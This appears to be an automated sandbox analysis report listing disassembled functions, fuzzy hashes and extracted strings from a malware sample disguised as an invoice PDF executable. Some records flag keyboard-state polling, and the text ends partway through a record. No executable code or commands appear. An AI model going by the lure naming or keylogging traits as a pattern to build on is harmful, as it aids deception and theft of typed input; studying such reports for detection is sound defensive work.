
Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 579108f757d34d74630a9d31b7849653c8acf385949acc299ef967ef228608fb
Instruction ID: 7337737a105624cfd54e2dba4ccd59d5e28b517d041827faa7d96b3956821d6b
Opcode Fuzzy Hash: 579108f757d34d74630a9d31b7849653c8acf385949acc299ef967ef228608fb
Instruction Fuzzy Hash: 64E0ED79A08318CFDF15CF90CC90BEDBBB5BB4D300F1481999648AB282D7355A41CF40

Function 0B0408C0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c980b84f776f5e4b965fc77ff1c208f2a7bb58d4f06ebd0c9c43f8d8cf5ef3a
Instruction ID: ea4f74fe5c4ddacff642c62aef783d51e934de32483a94160eb4f8ba024813f3
Opcode Fuzzy Hash: 6c980b84f776f5e4b965fc77ff1c208f2a7bb58d4f06ebd0c9c43f8d8cf5ef3a
Instruction Fuzzy Hash: A9E01275414214DFCB14CF24C8907DCBBB5AB46314F0482E9851D57392D7319E46CF40

Function 0B041D11 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c725561959feeb12bbaa1d29e77d0dfd209219249f54156ede0df6d9da35a032
Instruction ID: 768b1061ff67a620f8966b3e313718d0854346c7670cecdd0773035f7dc7257a
Opcode Fuzzy Hash: c725561959feeb12bbaa1d29e77d0dfd209219249f54156ede0df6d9da35a032
Instruction Fuzzy Hash: 53E012B955DF810AD3AD9B39A5213A6BED29F85204F0489BF909A83552E720151A8706

Function 0B040EA0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34286700d1499b9cc28652b616d6c19fc7901c1694414fce612623fbad0debf3
Instruction ID: 6f79a2ddd161412ec82c55040e13cbfbc0f224f3f6f3f8e1474c09088512b7bf
Opcode Fuzzy Hash: 34286700d1499b9cc28652b616d6c19fc7901c1694414fce612623fbad0debf3
Instruction Fuzzy Hash: 89D022B0402318DFC70CEBA4E00179D77BCEB01210F1000ACE40413210EF729E40DB80

Function 0B040597 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 543c9e8ca44ee4cff6dce75f159dd378a0497f176ac9382ee23a3cd06d870b4c
Instruction ID: c6635cc9f368cbe580f76b5b6a80e661bd7bc9a15927516322e988798aca6733
Opcode Fuzzy Hash: 543c9e8ca44ee4cff6dce75f159dd378a0497f176ac9382ee23a3cd06d870b4c
Instruction Fuzzy Hash: 1EE0EC78905219CFDB54CF50C980BD8BBF5AB4A304F1484DAC409A7355D7369E86CF00

Non-executed Functions

Function 0B069DC8 Relevance: 7.6, APIs: 5, Instructions: 115keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000001), ref: 0B069E25
GetKeyState.USER32(00000002), ref: 0B069E6A
GetKeyState.USER32(00000004), ref: 0B069EAF
GetKeyState.USER32(00000005), ref: 0B069EF4
GetKeyState.USER32(00000006), ref: 0B069F39

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 8a78838e213ca7671388b3a5f06e7f823022921449e3cffe6160c5bf5a6c5709
Instruction ID: ff1a6fd001095083992ccdf33f06257f5fa68cf2ed5e00ccbdf27cc88be2c1e5
Opcode Fuzzy Hash: 8a78838e213ca7671388b3a5f06e7f823022921449e3cffe6160c5bf5a6c5709
Instruction Fuzzy Hash: B941A370D05799CEDB14CF99C5483AFBFF4AB04348F20845AD089A7690C7B95689CFA1

Function 0B069DD8 Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000001), ref: 0B069E25
GetKeyState.USER32(00000002), ref: 0B069E6A
GetKeyState.USER32(00000004), ref: 0B069EAF
GetKeyState.USER32(00000005), ref: 0B069EF4
GetKeyState.USER32(00000006), ref: 0B069F39

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 1707d240e3062bd02c7d321aa9ba105c3d61ceed3112a884f8d8b5dea152747a
Instruction ID: bbd6d0738cd9200d80c88d9e51f7201c1f20942c4f0d1761d20d62e6b896d39c
Opcode Fuzzy Hash: 1707d240e3062bd02c7d321aa9ba105c3d61ceed3112a884f8d8b5dea152747a
Instruction Fuzzy Hash: 66419270D04799CEDB24DF99C5483AFFFF4AB04348F20845AD089A7690C7B99689CFA5

Function 053C5F30 Relevance: 5.6, Strings: 4, Instructions: 562COMMON

Download Yara Rule

Strings

pbq, xrefs: 053C63B5
4'^q, xrefs: 053C62EC
:, xrefs: 053C61AF
~, xrefs: 053C614E

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: 4'^q$:$pbq$~
API String ID: 0-999388165
Opcode ID: 7286018a3c5064a20968834bbf36002fed72b64eb173fd4a0e015744682761d2
Instruction ID: 38a35c9631d2cbc6735a5875d9c7f07cd324c9781a9eef26157216d19f11f13d
Opcode Fuzzy Hash: 7286018a3c5064a20968834bbf36002fed72b64eb173fd4a0e015744682761d2
Instruction Fuzzy Hash: E742D275A04218DFDB15CFA9C980F99BBB2FF48304F1580E9E509AB266DB31AD91DF10

Function 053CF4A0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7bef9bd934a2d929e91a7841d54f1590dcb07f681ffa9a224f1405692afcb19
Instruction ID: ccb59a08511b735189ab88c81e81462236811a7dc32236160df2f62f17b63de9
Opcode Fuzzy Hash: f7bef9bd934a2d929e91a7841d54f1590dcb07f681ffa9a224f1405692afcb19
Instruction Fuzzy Hash: 11E1E9B4E142598FCB14DFA9C5809AEFBB2BF89305F248169D414AB355DB34AD82CF60

Function 053CF8D8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 316b1119bbdb030412bf6cefce52bc7acc99591268c957d4396bc97f4a49763b
Instruction ID: 566bab7db673deef627e15c504deab0c348fc7f5dda8a97803fefd07d90e3a6a
Opcode Fuzzy Hash: 316b1119bbdb030412bf6cefce52bc7acc99591268c957d4396bc97f4a49763b
Instruction Fuzzy Hash: EAE1FBB4E142598FCB14DFA9C5809AEFBB2BF89305F24C159D814AB356DB30AD42CF60

Function 07270F38 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbf6b781b0d0ea2720545ee61dda0e6dcb8b23340e5bf11dd77e62b34edeb4bd
Instruction ID: 36771934d48d689685de345d8a89991797aba14a45efc7d88268f7985bcb7156
Opcode Fuzzy Hash: cbf6b781b0d0ea2720545ee61dda0e6dcb8b23340e5bf11dd77e62b34edeb4bd
Instruction Fuzzy Hash: 52E1EAB4E102598FCB14DFA9C5809AEFBB2FF89305F24C169D414AB356D731A942CF60

Function 07271370 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f475c7b34559e6f8ee3c188f05a9be3600edeb40f1f34c8e89f5cd54c9a6fcc
Instruction ID: 34806e507a787ace752780dedd8b2d767fcbb9d059c10a90d1e9c8c41aad9012
Opcode Fuzzy Hash: 9f475c7b34559e6f8ee3c188f05a9be3600edeb40f1f34c8e89f5cd54c9a6fcc
Instruction Fuzzy Hash: 7FE1F9B4E102598FCB14DFA9C5809AEFBB2BF89305F24C169E415AB356D730AD42CF61

Function 053CF051 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d246b96e44544771b6418a913f7a2930e17705a17085a1f58a1ff89eb6dbc0d8
Instruction ID: ad57ecd0e53ac12585f5a4a271433dbcfbb6e5e974f73557d10c77d63dee5ab3
Opcode Fuzzy Hash: d246b96e44544771b6418a913f7a2930e17705a17085a1f58a1ff89eb6dbc0d8
Instruction Fuzzy Hash: 59D11A74E102598FCB14DFA9C5809AEFBB2BF49305F24C299D415AB356DB30AD82CF60

Function 04DE4D40 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772410012.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4de0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b9fce8a612566d202d29dc4f096f2a43d37dee3ec33e13837d4a48540e6db7
Instruction ID: 32c9c11106c43291e3f5c247fab91924858c6acd373ca927ae3b4a7c0627709a
Opcode Fuzzy Hash: c5b9fce8a612566d202d29dc4f096f2a43d37dee3ec33e13837d4a48540e6db7
Instruction Fuzzy Hash: C3C1F670E01228DFDB24DFA9D884BEDBBB2BF49304F149599E408A7251DB34AA85CF51

Function 04DE4780 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772410012.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4de0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8736d9454f2729a331d05ffef7ee1e4f83e1b04034631709776c896937e7ae4f
Instruction ID: 1175b1657dc3cbc36d7d8ed4e9a92ecf6c816e277f02f1f1408c4c6f3c0c16ec
Opcode Fuzzy Hash: 8736d9454f2729a331d05ffef7ee1e4f83e1b04034631709776c896937e7ae4f
Instruction Fuzzy Hash: 5ED1E335D2065ADADB10EBA4D990A9DB7B1EF95300F10C79AE10937225FF70AEC5CB81

Function 04DE4790 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772410012.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4de0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 307b88e51199994715608e36e19106cb1176367e29b2c00818dbfbecf01cb303
Instruction ID: 16d9ed939556ef44d543ec593cbb386dff6094c10e94a04f0eb700ef5023b8ed
Opcode Fuzzy Hash: 307b88e51199994715608e36e19106cb1176367e29b2c00818dbfbecf01cb303
Instruction Fuzzy Hash: CBD1E335D20A5ADADB10EB64D990A9DB7B1EF95300F10C79AE10937225FF70AEC5CB81

Function 00A5D69C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0833c8c842f8a89dcf4c5f560de1d1f3fce7c99d302e6967ab570dd4afeecc6
Instruction ID: cfb70afcbf23839e3816d1ca53879a5249ab73155da75200165168d5fb34b2e9
Opcode Fuzzy Hash: d0833c8c842f8a89dcf4c5f560de1d1f3fce7c99d302e6967ab570dd4afeecc6
Instruction Fuzzy Hash: 48A14B36A006099FCF05DFB4C9449DEB7B2FF89301B25857AE805AB265DB31ED5ACB40

Function 053CF490 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1d56dda3855f2b74d038a56f28f7e25558828c3e0953e0cac603abb376152f0
Instruction ID: 0e1cfeda419f7bd75f2f6c322d1db9546df69ad727e59a0e24d07ecf41f6c662
Opcode Fuzzy Hash: a1d56dda3855f2b74d038a56f28f7e25558828c3e0953e0cac603abb376152f0
Instruction Fuzzy Hash: 94511FB4D142598FCB14DFA9C5805AEFBF2BF89304F24C1AAD414A7216D7319D42CF61

Function 053CF053 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19da1a073f9addb7528c335557e9b93023b64e9335142d115b4a220fef51abc
Instruction ID: 7f6ccdb3e3d430b503493856107046ebd98cca56ed3729a743fc75ddc58d63a1
Opcode Fuzzy Hash: b19da1a073f9addb7528c335557e9b93023b64e9335142d115b4a220fef51abc
Instruction Fuzzy Hash: A4510B75E142598BCB14CFA9C9805AEFBB2BF89304F2481A9D418A7216DB349D42CFA1

Function 053C5F23 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2492c9f2a33a307a85d426355d3cf7536adcb5764e82fbba392c2769b7f434d2
Instruction ID: 060af27c24a14179250b7186fed0a880f1a2793ce9631be7d72885a13ade3c28
Opcode Fuzzy Hash: 2492c9f2a33a307a85d426355d3cf7536adcb5764e82fbba392c2769b7f434d2
Instruction Fuzzy Hash: 0941B771E016188BEB58CF6AD9407DABBF3AFC9200F14C1AAD409A7214EB309A85CF51

Function 0B069080 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde613917b620a6d155dc4d422318d85aacbf2c8df336414f72aec2caf62d8e5
Instruction ID: 0923695a1d2fa67a72c720f9109c26b22d154c615880ef0f5d5956d7dfbc3c42
Opcode Fuzzy Hash: cde613917b620a6d155dc4d422318d85aacbf2c8df336414f72aec2caf62d8e5
Instruction Fuzzy Hash: EB310F74D05219CFCB05CFA8D548AEEBBF1AF49300F2541AAE405BB361DB359A45CFA0

Function 0B069090 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04f87af1656f2e862727927f22ea063d4bf21093c6e07f870432726f7a7006fd
Instruction ID: a79129a30d06141c9c4bb166a46a0e9f54f09a723b7df932867b0a04110f97a8
Opcode Fuzzy Hash: 04f87af1656f2e862727927f22ea063d4bf21093c6e07f870432726f7a7006fd
Instruction Fuzzy Hash: 2E31CD74D01219CFCB44DFA8D548AEEBBF1BF49301F6441AAE405BB361DB359A41CBA4

Analysis Process: Proforma Invoice_21-1541 And Packing List.pdf.exePID: 8080, Parent PID: 7576COMMON

Execution Graph

Execution Coverage:	17.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.4%
Total number of Nodes:	35
Total number of Limit Nodes:	5

Executed Functions

Function 02696FC8 Relevance: 6.7, Strings: 5, Instructions: 498
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 0269753D
,bq, xrefs: 02697298
,bq, xrefs: 0269728A
(o^q, xrefs: 02697220
(o^q, xrefs: 02697212

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: e0647035e1bda45a7507f9855a08cfbcb12138c1612e4b5a793412dbda8f6ab7
Instruction ID: 1891e4284dea24d8f84fe8ff4b19ef679b64da92d02fcfa519067232388e14bc
Opcode Fuzzy Hash: e0647035e1bda45a7507f9855a08cfbcb12138c1612e4b5a793412dbda8f6ab7
Instruction Fuzzy Hash: D6123BB0A10109DFCF16CF69D984AADFBBABF89704F158069E8059B365DB30ED41CB50

Function 02699DE0 Relevance: 6.1, Strings: 4, Instructions: 1135COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0269A518
4'^q, xrefs: 02699F0C
4'^q, xrefs: 0269AB13
4'^q, xrefs: 02699E04

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: 95b3f7110c7b6e13fc598d2d139b438a5d46fcae6c419f8ad583c035e9cc0a30
Instruction ID: 3e2f016fe3ab3b53693f6d1816d45c4ea4092555680e5a74935bbb52aa611bd6
Opcode Fuzzy Hash: 95b3f7110c7b6e13fc598d2d139b438a5d46fcae6c419f8ad583c035e9cc0a30
Instruction Fuzzy Hash: F4A24B71A002099FCF15CFA8C584AAEBBFABF88314F15856AE405DB365DB35ED42CB50

Function 026929EC Relevance: 5.3, Strings: 4, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 02692BA4
Xbq, xrefs: 02692AD8
Xbq, xrefs: 02692A9E
Xbq, xrefs: 02692B57

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 493c66580bb7dd5b62ac8ed7ca7a31a229c09050551472619eedf20f11d38c50
Instruction ID: b5ee3d9ae26bd307cde910ee0d44aa9094e521f3a658b043ca508a9facbf313a
Opcode Fuzzy Hash: 493c66580bb7dd5b62ac8ed7ca7a31a229c09050551472619eedf20f11d38c50
Instruction Fuzzy Hash: 14C19131A042568BCF1ACF78CBA165AFBFDEB89304F1454DAC8059B391DF319A92CB41

Function 026969A0 Relevance: 3.0, Strings: 2, Instructions: 516COMMON

Download Yara Rule

Strings

Hbq, xrefs: 02696DA6
(o^q, xrefs: 02696EDA

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: 3ab98204a0c93421398abaeb70d2e523bb1f91cfb6ba9061da887047972aadb8
Instruction ID: 1aa26be5aade441d8228aa86f39407ff788cf48f227aeda7c63d13792a505d8d
Opcode Fuzzy Hash: 3ab98204a0c93421398abaeb70d2e523bb1f91cfb6ba9061da887047972aadb8
Instruction Fuzzy Hash: AB128C70A002199FDB14DF69C894BAEBBFAFF88304F108569E415AB395DF349D46CB90

Function 02693E09 Relevance: 2.8, Strings: 2, Instructions: 263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 02693E2E
Xbq, xrefs: 02693E47

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: Xbq$$^q
API String ID: 0-1593437937
Opcode ID: 321a9acc86e3fae14d0013699c66998399d6ac0f89a53ff2b3e3b8c5677b7014
Instruction ID: 286b9c376656d89c6b3eb8f0354862bbd772d85f1c2ef06e84fa68b811a2a8b9
Opcode Fuzzy Hash: 321a9acc86e3fae14d0013699c66998399d6ac0f89a53ff2b3e3b8c5677b7014
Instruction Fuzzy Hash: B5919270F04259DBDF18ABB8946427E7BB7BFC8701B08896ED446E7388CE3498438795

Function 0269C147 Relevance: 2.7, Strings: 2, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0269C400
PH^q, xrefs: 0269C3EF

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: dc5822529a243ef9a0abf93ce5e1b9629f81806d2bf0602f75617630836795a5
Instruction ID: 81690b77d337423fd88c1bf9bbabea953fc90b4136a6f55d96e2f50426147881
Opcode Fuzzy Hash: dc5822529a243ef9a0abf93ce5e1b9629f81806d2bf0602f75617630836795a5
Instruction Fuzzy Hash: F0A1FA74E01258DFDB14DFA9D884A9DBBF6BF89310F14806AE409EB365DB309886CF54

Function 02695362 Relevance: 2.7, Strings: 2, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 026955C8
PH^q, xrefs: 026955D9

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: a6f2e8752181e7ffbdc4ee9af498eeb1fad82afbab9bc83fbba29818fe473a8e
Instruction ID: bc3c2d9fc5151681b11f06318a45a6f5b395fc576073db8905c5760da408a09a
Opcode Fuzzy Hash: a6f2e8752181e7ffbdc4ee9af498eeb1fad82afbab9bc83fbba29818fe473a8e
Instruction Fuzzy Hash: B091C474E01258CFDF59DFA9D884A9DBBF2BF89300F149069E809AB365DB309985CF50

Function 0269CA58 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0269CCC0
PH^q, xrefs: 0269CCAF

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 16c9f28f835c72fc8429ec32212c7527719ceb9c0b29ca26bfc203d7121fd460
Instruction ID: d1eefcb42991abc6d27d2db90626c7a19894a2f75095a4252176455df73d937c
Opcode Fuzzy Hash: 16c9f28f835c72fc8429ec32212c7527719ceb9c0b29ca26bfc203d7121fd460
Instruction Fuzzy Hash: 4A81B674E01258CFDB18DFA9D984A9DBBF2BF88300F14C06AD819AB365DB349985CF50

Function 0269CFF7 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0269D260
PH^q, xrefs: 0269D24F

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: a315991c4581f00bbb748bd0ad1ab37596073d1800180af327097464b11b9f5a
Instruction ID: 0308950b60db26e26ad9ecd87bb99c21164d098ebd3761c00b4e857527534700
Opcode Fuzzy Hash: a315991c4581f00bbb748bd0ad1ab37596073d1800180af327097464b11b9f5a
Instruction Fuzzy Hash: C581A474E01258DFDB18DFAAD884A9DBBF2BF88300F148069D419AB365DB319986CF50

Function 0269CD28 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0269CF90
PH^q, xrefs: 0269CF7F

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: d176a4c104f2d25dceb91472f0b413bf326cb78814c08c5db5a1bf4d8db8396b
Instruction ID: c7b568f27e8f13ffcba5a5773631f3e47c1d8a013ca25a5251fb6108674d9aad
Opcode Fuzzy Hash: d176a4c104f2d25dceb91472f0b413bf326cb78814c08c5db5a1bf4d8db8396b
Instruction Fuzzy Hash: 2E81B674E00258CFDB14DFA9D894A9DBBF6BF88300F14906AE419AB365DB309985CF50

Function 0269D2C9 Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0269D530
PH^q, xrefs: 0269D51F

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 4b3abd66e16cbb99f9658f732424a55974ff7b0e207ebdd0cc969304d79e580b
Instruction ID: d14cd612cb50a3fd07fc3e6eef5d627dabaa5c59af7b0752a5302c6562f56599
Opcode Fuzzy Hash: 4b3abd66e16cbb99f9658f732424a55974ff7b0e207ebdd0cc969304d79e580b
